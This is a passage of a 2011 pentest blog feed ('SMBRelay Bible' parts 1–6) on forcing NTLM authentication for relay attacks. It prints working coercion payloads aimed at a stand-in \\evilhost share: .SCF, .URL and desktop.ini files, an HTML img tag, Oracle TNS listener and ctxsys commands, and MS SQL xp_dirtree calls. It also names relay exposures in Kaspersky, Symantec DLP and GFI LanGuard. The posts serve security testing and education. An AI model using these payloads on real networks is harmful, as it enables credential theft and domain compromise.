there are interesting things: autorun.inf can cause UNC-request by Explorer and it works with a Mapped Network Drives. But a last patch for Windows OS disables the Autorun functionality.&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight:bold;"&gt;.SCF file &lt;/span&gt;- Explorer Shell Command File.&lt;br /&gt;This is a special file type, which contains commands for Windows Explorer. The example of such file is “ToggleDesktop” button. But information about all commands and all capabilities of the file type is not available. But this file extension “is one of the special ones that remains hidden even if you instruct Windows to show file extensions”.&lt;br /&gt;&lt;br /&gt;For our purpose we can create or use any file, add next code to it and add “.SCF” to file extension. An original file extension will be shown to a user, but Explorer will see .scf and perform all the commands in that are in this file. Explorer gives user’s credential when user looks at folder with such .scf file.&lt;br /&gt;&lt;blockquote&gt;    [shell]&lt;br /&gt;    Command=2&lt;br /&gt;    IconFile=\\evilhost\test&lt;br /&gt;    [TaskBar]&lt;br /&gt;    Command=Explorer&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks for your attention.&lt;br /&gt;Alexey Tyurin.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4050101041724913337?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4050101041724913337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/04/smbrelay-bible-6-smbrelay-attacks-on.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4050101041724913337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4050101041724913337'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/04/smbrelay-bible-6-smbrelay-attacks-on.html' title='SMBRelay Bible 6: SMBRelay attacks on corporate users part 2'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-5249774866494242545</id><published>2011-04-05T04:52:00.000-07:00</published><updated>2011-04-05T09:25:01.056-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Explorer'/><category scheme='http://www.blogger.com/atom/ns#' term='client-side'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='corporate users'/><title type='text'>SMBRelay Bible 5: SMBRelay attacks on corporate users</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Client-side.&lt;/span&gt;&lt;br /&gt;Today we will talk about client-side attacks. &lt;br /&gt;An attack of a network is a progressive action. Usually, we escalate our rights step-by-step from nothing to a domain administrator. Even casual un-privileged users can give us something interesting, for example access to some shared resources.But how can we get these user rights?&lt;br /&gt;We can enforce users to authenticate on controlled machine.&lt;br /&gt;There are alt least three main ways to interact with user. They are very abstractive.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1)HTML and browser&lt;/span&gt;&lt;br /&gt;We can use a social engineering or a MitM attack like dns-poisoning to bring users to our web site with a following code:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;img src=”\\evilhost\test”&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;Their browsers will try to take the image from our server and give us their credentials. At the same time users will not know about such actions.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2) Crafted document&lt;/span&gt;&lt;br /&gt;We can create special document (like MS Excel file) and send it to users via e-mail or put it on shared resources.When a user opens it, office program tries to connect our server and give us user’s credential. We will talk about it in the next blog post.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3) Windows Explorer and shared resources&lt;/span&gt;&lt;br /&gt;If we have permission to write to some shared resources (for example file server or  or directory on terminal server), we can create a specified file. When somebody  browses to a folder with the file, Explorer will try to connect to our server without any interaction from a user.&lt;br /&gt;Such “specified file” can be:&lt;ul&gt;&lt;br /&gt;&lt;li&gt;- &lt;b&gt;.LNK&lt;/b&gt; - Windows Shortcut File.&lt;br&gt; There is ability for setting an icon to file. We can set path of it to our server and Explorer will try to download it.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;- &lt;b&gt;.URL&lt;/b&gt; - Internet Location File.&lt;br&gt; Like LNK-file - setting an icon to a file, but URL is a primitive text file. So we write a following text and save it with URL extension:&lt;br /&gt;&lt;blockquote&gt;[InternetShortcut]&lt;br /&gt;URL=http://dsecrg.com/&lt;br /&gt;IconIndex=3&lt;br /&gt;IconFile=//evilhost/test&lt;/blockquote&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;- &lt;b&gt;desktop.ini&lt;/b&gt;.&lt;br&gt;The file is used for folder’s customization. There is some different fields (InfoTip, desktop.ini, LocalizedResourceName, IconFile (IconResource for Vista/7)) which can give us necessary links to our server. Fields’ influences on Explorer are different (you can read about it here &lt;a href="http://www.tarasco.org/security/payload/index.html"&gt;http://www.tarasco.org/security/payload/index.html&lt;/a&gt;). &lt;br /&gt;A little limitation is a folder with desktop.ini, which should be ‘system’. It can be set by ‘attrib +s folder_name’. But there are some pluses: desktop.ini are ‘hidden’ by default, and folders like “My Documets”, “Disc C(D, E,..)”, “Desktop” are ‘system’ by default.&lt;br /&gt;Simple example of desktop.ini:&lt;blockquote&gt;[.ShellClassInfo]&lt;br /&gt;IconFile=//evilhost/test&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-5249774866494242545?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/5249774866494242545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/04/smbrelay-bible-5-smbrelay-attacks-on.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5249774866494242545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/5249774866494242545'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/04/smbrelay-bible-5-smbrelay-attacks-on.html' title='SMBRelay Bible 5: SMBRelay attacks on corporate users'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-86268003545389220</id><published>2011-03-14T07:14:00.000-07:00</published><updated>2011-03-16T12:39:45.654-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='symantec'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='kaspersky'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='0-day'/><category scheme='http://www.blogger.com/atom/ns#' term='passthehash'/><category scheme='http://www.blogger.com/atom/ns#' term='languard'/><title type='text'>SMBRelay Bible 4: SMBrelay with no action or attacking security software  ( Kaspersky AV,Symantec DLP, GFI Languard 0-days)</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Inro&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;When we talk about SMB Relay attacks we describe some actions from attacker which make Incoming NTLM authentication  process from server "A" possible  and then relay it to server  "B". Finally attacker becomes successfully authenticated to server  "B" by using account from server  "A". We have already described this type of actions, that initialized authentication  process from server  "A” by using ERP functions or RDBMS stored procedures. There are many ways for server "A" to make SMB connection to attacker. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SMBrelay with no action&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;In  this post I would talk about situations where attacker may do nothing.  In these cases server "A" makes connection by SMB by itself without attacker's manipulations. How it can be? Very simply. In big corporate networks there  can be some server with some software that does automated scan of subnet for some purpose. This  scan  uses SMB protocol and, of course, NTLM authentication. If attacker’s host will be in the same subnet he can make  Relay. Attacker needs just to wait. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Attack!!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Which system is affected? It can be any client-server systems. It can be DLP server that works with agents on workstations via SMB, it can be Antivirus, which  tries  to deploy remote agent, and do  other things. Here are some real examples that can prove this theory.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt; 1. GFI LanGuard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is very useful tool for Security Administrators. This software has a function -  to grab all info from target by using Domain account, and also  it has a schedule. If an administrator has to install it on some server "A" and configure it for scanning subnet by schedule (one scan in a week) with account that has local or (worse) domain admin rights, so here is a hole. Malicious user can install fake smb server on his PC and relay this credentials to have a full access to network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Kaspersky AV&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-5l9ouYJ-wAI/TYDG1FRKofI/AAAAAAAAABI/MN7ngB3Hsbg/s1600/KASP0day.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 306px;" src="http://1.bp.blogspot.com/-5l9ouYJ-wAI/TYDG1FRKofI/AAAAAAAAABI/MN7ngB3Hsbg/s320/KASP0day.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5584682153188958706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Famous antivirus software has dangerous function "Scan IP subnets" that is enabled by default in Kaspersky Administration Kit (6/8). This function makes ICMP scan and also tries to use SMB protocol by using service account which can be used to run SMBrelay attack and gain full control on secured network. When we talk about Kaspersky Administration Kit 6, we must know that it is difficult for administrator  to give right privileges to service account that needed by AV. By reading documentation you finally make decision that this account needs to be in &lt;b&gt;Local Administrators group&lt;/b&gt;. By default "Scan IP subnets" scans your subnet every 7 hours. Attacker just needs to wait. As  AV agent is everywhere, and server’s account has local administrator right, it is very dangerous for company but very useful for penetration testing.  We have done some internal penetration-tests  just by using only this 0-day vulnerability. &lt;br /&gt;&lt;br /&gt;Update by 16 march (Just found on current pentest)&lt;br /&gt;&lt;br /&gt;3. Symantec DLP &lt;br /&gt;&lt;br /&gt;Symantec DLP is also vulnerable to this attack when it tries to search critical data on workstations but exploitability depends on user rights.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S. Kaspersky vulnerability team has answered after bug report - http://support.kaspersky.com/faq/?qid=208284121&lt;br /&gt;&lt;br /&gt;Good Luck!&lt;br /&gt;Alexey Sintsov&lt;br /&gt;Digital Security Research Group&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-86268003545389220?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/86268003545389220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/03/smbrelay-bible-4-smbrelay-with-no.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/86268003545389220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/86268003545389220'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/03/smbrelay-bible-4-smbrelay-with-no.html' title='SMBRelay Bible 4: SMBrelay with no action or attacking security software  ( Kaspersky AV,Symantec DLP, GFI Languard 0-days)'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-5l9ouYJ-wAI/TYDG1FRKofI/AAAAAAAAABI/MN7ngB3Hsbg/s72-c/KASP0day.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4623879608397627674</id><published>2011-03-09T06:49:00.000-08:00</published><updated>2011-03-09T07:15:08.634-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='non-privileged account'/><category scheme='http://www.blogger.com/atom/ns#' term='TNS listener'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>SMBRelay bible - 3. SMBRelay by Oracle</title><content type='html'>Like in the &lt;a href="http://dsecrg.blogspot.com/2011/02/smbrelay-bible-2-smbrelay-by-ms-sql.html"&gt;previous blog post&lt;/a&gt;, we’ll talk about methods which need only non-privileged rights. Because we have too many ways for SMB Relay for privileged accounts, much  depends from current situation and our rights.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Inro&lt;/span&gt;&lt;br /&gt;Our next target is Oracle. Oracle is one of the most widespread RDBMS and many Enterprises use it as backend. We can find version from 8i to 11g in real life. Next information will be actually for each of them.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Runs as…&lt;/span&gt;&lt;br /&gt;Oracle server service runs as &lt;span style="font-weight:bold;"&gt;‘System’ &lt;/span&gt;by default. But like MS SQL, it is very often occurs that the service runs as a domain/local user account by different reasons, for example when it is used as backend for SAP and other ERP systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Attack!!!&lt;/span&gt;&lt;br /&gt;There are two ways for SMB relay attack realization. One of them doesn’t need any privilege, another one needs CONNECT and RESOURCE privileges which can be found in any user. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1st method – TNS listener set_log.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;“The Transparent Network Substrate (TNS) listener is a service which establishes and maintains connections with Oracle database services. When it receives a request from a client, the TNS listener establishes a connection between the client and server over a transparent network substrate, which allows communication regardless of the network protocol being used by either system.”&lt;br /&gt;&lt;br /&gt;We can use this method when we have ability for remote connection to TNS listener.&lt;br /&gt;Before 10g TNS listener is not defended by password or ‘ADMIN_RESTRICTIONS’ option by default. We should use ‘set_log’ command for SMB relay. &lt;br /&gt;The command ‘set_log’ sets a way to TNS listener’s log file. &lt;br /&gt;We can use either an original Oracle tool – ‘lsnrctl’ or a Perl script – &lt;a href="http://www.jammed.com/~jwa/hacks/security/tnscmd"&gt;‘tnscmd’&lt;/a&gt; to exploit this vulnerability.&lt;br /&gt;&lt;br /&gt;Example with Perl script:&lt;br /&gt;&lt;blockquote&gt;./tnscmd.pl -h victim.com --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=\\evilhost\test)))"&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Example with LSNRCTL:&lt;br /&gt;&lt;blockquote&gt;LSNRCTL&gt;set log_file \\evilhost\test&lt;/blockquote&gt;&lt;br /&gt;Next connection to TNS-listener gives you necessary UNC-request for SMBrelay. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2nd method – ctxsys.context.&lt;/span&gt;&lt;br /&gt;This method needs only &lt;span style="font-weight:bold;"&gt;‘CONNECT’&lt;/span&gt; and &lt;span style="font-weight:bold;"&gt;‘RESOURCE’ roles&lt;/span&gt; for an attack which almost all users have. So you need to have at least one real user in RDBMS. We use creation of indexes by ctxsys.context to force UNC path request to our host. &lt;br /&gt;&lt;br /&gt;There are three steps:&lt;br /&gt;1) Create a special table:&lt;br /&gt;&lt;blockquote&gt;SQL&gt;  CREATE  TABLE  files  (id  NUMBER  PRIMARY  KEY,  path  VARCHAR(255)  UNIQUE, ot_format  VARCHAR(6));&lt;/blockquote&gt;&lt;br /&gt;2) Insert the network path into the new table:&lt;br /&gt;&lt;blockquote&gt;SQL&gt;  INSERT  INTO  files  VALUES  (1,  "\\evilhost\test",  NULL);&lt;/blockquote&gt;&lt;br /&gt;3) Create ctxsys.context index on path column:&lt;br /&gt;&lt;blockquote&gt;SQL&gt; CREATE  INDEX  file_index  ON  files(path)  INDEXTYPE  IS  ctxsys.context PARAMETERS  ("datastore  ctxsys.file_datastore  format  column  ot_format");&lt;/blockquote&gt;&lt;br /&gt;And we successfully have SMBrelay.&lt;br /&gt;&lt;br /&gt;Full description of this method you can see here: &lt;a href="http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle database).pdf"&gt;"Penetration from application down to OS (Oracle database)"&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Here is the table showing which method can be used in different versions.&lt;br /&gt;&lt;style type="text/css"&gt;.nobrtable br { display: none }&lt;/style&gt;&lt;br /&gt;&lt;div class="nobrtable"&gt;&lt;br /&gt;Table 1&lt;br /&gt;&lt;table style="width: 450px; height: 220px;" border="1" bordercolor="#999999"&gt;&lt;br /&gt; &lt;tr&gt;&lt;br /&gt;    &lt;td&gt;Method&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;8i&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;9i&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;10g&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;11g&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;User needs&lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;  &lt;tr&gt;&lt;br /&gt;    &lt;td&gt;set log file&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;NO&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;NO&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;NO&lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;  &lt;tr&gt;&lt;br /&gt;    &lt;td&gt;ctxsys.context&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;OK&lt;/td&gt;&lt;br /&gt;    &lt;td&gt;YES&lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4623879608397627674?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4623879608397627674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/03/smbrelay-bible-3-smbrelay-by-oracle.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4623879608397627674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4623879608397627674'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/03/smbrelay-bible-3-smbrelay-by-oracle.html' title='SMBRelay bible - 3. SMBRelay by Oracle'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-2808583216452061464</id><published>2011-02-28T06:37:00.000-08:00</published><updated>2011-02-28T07:18:52.137-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='public role'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><title type='text'>SMBRelay bible - 2. SMBRelay by MS SQL server</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Intro&lt;/span&gt;&lt;br /&gt;Today we will talk about practical using of SMBRelay attack through one of the famous software which very often becomes a part of ERP systems. This is MS SQL server. The last version is 2008 (R2), but we can see 2005 and 2000 in real life too, because they take up big part of RDBMS application area. We will touch all of them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Run as…&lt;/span&gt;&lt;br /&gt;But now look at another side of our deal. One of the main things of the successful SMB Relay realization is &lt;span style="font-weight: bold;"&gt;under which account running MS SQL server&lt;/span&gt;. It should be a domain or a local user account, not system’s account like ‘System’ or ‘Local Service’. SQL Server 2000 runs as ‘System’ and SQL Server 2005/2008 runs as ‘Network Service’ by default. This is not good for penetration testers. But our experience of penetration tests is showing that the situations “is not by default” there are very often. Because there are some objectives reasons likes MS SQL server’s limitations when you run it on clustered or domain server, or when you run multiple sql servers on your organization using domain user like DOMAIN\sqlservers for  better administration. But this is spread practice to run SQL server under a user account. For more information &lt;a href="http://msdn.microsoft.com/en-gb/library/ms143504.aspx"&gt;http://msdn.microsoft.com/en-gb/library/ms143504.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Get access on MS SQL Server.&lt;/span&gt;&lt;br /&gt;There are two main ways to interact with MS SQL server. The first is the direct connect to RDBSM via 1433 port when you have good credentials (brutforce/dictionary and other attacks will help you :) The second is an interaction thought another software, a web application for example. There are we should find a SQL injection. A casual or a blind is not important for our purposes. I think this is not a big problem :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Attack!&lt;/span&gt;&lt;br /&gt;For successful SMB Relay attack realization we should enforce MS SQL Server to initiate SMB session on attacker server via UNC path request (\\any.server\any\path). We have some different methods for completing the necessary.&lt;br /&gt;The one of much distributed and useful method is using extended stored procedures.&lt;br /&gt;An extended stored procedure (“xp”) is a dynamic link library that runs directly in the address space of SQL Server. It contains many extended stored procedures for extending SQL Server’s capabilities.&lt;br /&gt;There are three extended procedures available for public access - &lt;span style="font-weight: bold;"&gt;xp_dirtree, xp_fileexist, xp_getfiledetails&lt;/span&gt;. We can use one of them depending on a current situation, because not all they exist in different SQL Server versions or enabled for users or other limitations. We should have “Execute” permission for applying extended stored procedures. Such permissions are granted to ‘public’ role by default. Details you can see in Table 1.&lt;br /&gt;Syntaxes of the extended procedures are one for all:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;EXEC master..xp_dirtree ‘\\evilhost\test’&lt;/blockquote&gt;&lt;br /&gt;&lt;style type="text/css"&gt;.nobrtable br { display: none }&lt;/style&gt;&lt;br /&gt;&lt;div class="nobrtable"&gt;&lt;br /&gt;Table 1&lt;br /&gt;&lt;table style="width: 450px; height: 220px;" border="1" bordercolor="#999999"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;  &lt;td width="162" height="52"&gt;Extended stored procedure&lt;/td&gt;&lt;br /&gt;  &lt;td width="97"&gt;SQL 2000&lt;/td&gt;&lt;br /&gt;  &lt;td width="90"&gt;SQL 2005&lt;/td&gt;&lt;br /&gt;  &lt;td width="119"&gt;SQL 2008 R2&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;  &lt;td&gt;xp_dirtree&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;  &lt;td&gt;xp_fileexist&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;  &lt;td&gt;xp_getfiledetails&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;Public&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;not exist&lt;/td&gt;&lt;br /&gt;  &lt;td&gt;not exist&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-2808583216452061464?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/2808583216452061464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/02/smbrelay-bible-2-smbrelay-by-ms-sql.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2808583216452061464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/2808583216452061464'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/02/smbrelay-bible-2-smbrelay-by-ms-sql.html' title='SMBRelay bible - 2. SMBRelay by MS SQL server'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-1480222551302457695</id><published>2011-01-26T04:47:00.000-08:00</published><updated>2011-02-28T07:14:56.607-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='SMBRelay bible'/><category scheme='http://www.blogger.com/atom/ns#' term='erp'/><category scheme='http://www.blogger.com/atom/ns#' term='passthehash'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><category scheme='http://www.blogger.com/atom/ns#' term='lay bible'/><title type='text'>SMBRelay bible 1: Attacking Enterprise business (ERP)</title><content type='html'>&lt;strong&gt;&lt;em&gt;Why this attacks are critical for business applications and ERP systems?&lt;br&gt;&lt;br&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;The well known PassTheHash vulnerabilities can be used for gaining a shell or password hashes. It is known that possibilities for passing the hash exist in many  software but when penetration testing ERP, this type of attack is even more useful due to three things:&lt;br&gt;&lt;br /&gt;&lt;br /&gt;1. Most &lt;strong&gt;ERP systems use domain accounts or local user accounts for running their processes&lt;/strong&gt;. For example SAP installs with 2 usernames &lt;SID&gt;adm  and sap&lt;SID&gt; from which  SAP processes running. Other ERP systems including custom also use local or domain accounts. This means that PassTheHash will generally provide needed credentials instead if NULL sessions which  can be obtained if an application is running under Local Service or System accounts.&lt;br&gt;&lt;br /&gt;&lt;br /&gt;2. ERP systems have &lt;strong&gt;a lot of file system related functionality that allows you to conduct passthehash attack &lt;/strong&gt;by inserting string  \\fakesmb\anyfile  instead of real file name stored on server. This is called PassTheHash phishing - when an attacker sets up an SMB server and  try to insert this string into different fields of software and then  collect requests with account hashes for the purposes of relaying them (SMBRelay)&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;3.And the &lt;b&gt;most interesting and previously unknown&lt;/b&gt; feature that we found during our penetration test is cluster weakness.  Most ERP systems require multiple computer resources to operate. For  this reason it is common to see ERP installed in a cluster. During a security assessment it was found that the &lt;strong&gt;SMB relay patch from Microsoft did not protect clusters&lt;/strong&gt;.&lt;br /&gt;Because of this, PassTheHash requests from one node of a cluster to another node of the cluster are possible and it is looks like you make passthehash request on the same server with the same storage. Using this bug it is possible for example to run smbrelay attack on MsSQL server on cluster just by having a user with public rights in MsSQL. Next time we will show how to make it.&lt;br /&gt;&lt;br /&gt;So having all those 3 things together makes &lt;strong&gt;PassTheHash/SMBRelay a silver bullet for any ERP/Business application system during penetration tests&lt;/strong&gt;. In next blog posts you will see a practical examples of this attacks in different systems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-1480222551302457695?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/1480222551302457695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/01/passthehash-bible-1-attacking.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1480222551302457695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/1480222551302457695'/><link rel='alternate' type='text/html' 